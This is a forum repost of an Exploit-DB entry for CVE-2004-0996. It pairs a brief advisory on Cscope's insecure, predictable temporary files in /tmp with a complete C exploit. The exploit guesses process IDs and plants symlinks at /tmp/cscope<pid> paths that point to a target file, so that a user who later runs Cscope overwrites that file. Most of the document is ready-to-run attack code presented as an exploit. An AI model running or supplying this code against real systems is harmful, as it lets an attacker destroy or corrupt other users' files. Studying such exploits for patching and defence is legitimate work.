Exploit Cscope 13.0/15.x - Insecure Temporary File Creation (2)

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
24750
Проверка EDB
  1. Пройдено
Автор
GANGSTUCK
Тип уязвимости
LOCAL
Платформа
LINUX
CVE
cve-2004-0996
Дата публикации
2004-11-17
Cscope 13.0/15.x - Insecure Temporary File Creation (2)
C:
// source: https://www.securityfocus.com/bid/11697/info
 
Cscope creates temporary files in an insecure way. A design error causes the application to fail to verify the presence of a file before writing to it.
 
During execution, the utility reportedly creates temporary files in the system's temporary directory, '/tmp', with predictable names. This allows attackers to create malicious symbolic links that Cscope will write to when an unsuspecting user executes it.
 
Attackers may leverage these issues to overwrite arbitrary files with the privileges of an unsuspecting user that activates the vulnerable application.
 
Versions up to and including Cscope 15.5 are reported vulnerable.
/* RXcscope exploit version 15.5 and minor */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BSIZE   64

int
main(int ac, char *av[]) {
        pid_t cur;
        u_int i=0, lst;
        char buffer[BSIZE + 1];

        fprintf(stdout, "\n     --[ Cscope Exploit ]--\n"\
                        "     version 15.5 and minor \n" \
                        "       Gangstuck / Psirac\n" \
                        "     <[email protected]>\n\n");

        if (ac != 3) {
                fprintf(stderr, "Usage: %s <target> <max file creation>\n", av[0]);
                return 1;
        }

        cur=getpid();
        lst=cur+atoi(av[2]);

        fprintf(stdout, " -> Current process id is ..... [%5d]\n" \
                        " -> Last process id is ........ [%5d]\n", cur, lst);

        while (++cur != lst) {
                snprintf(buffer, BSIZE, "%s/cscope%d.%d", P_tmpdir, cur, (i==2) ? --i : ++i);
                symlink(av[1], buffer);
        }

        return 0;
}
 
Источник
www.exploit-db.com

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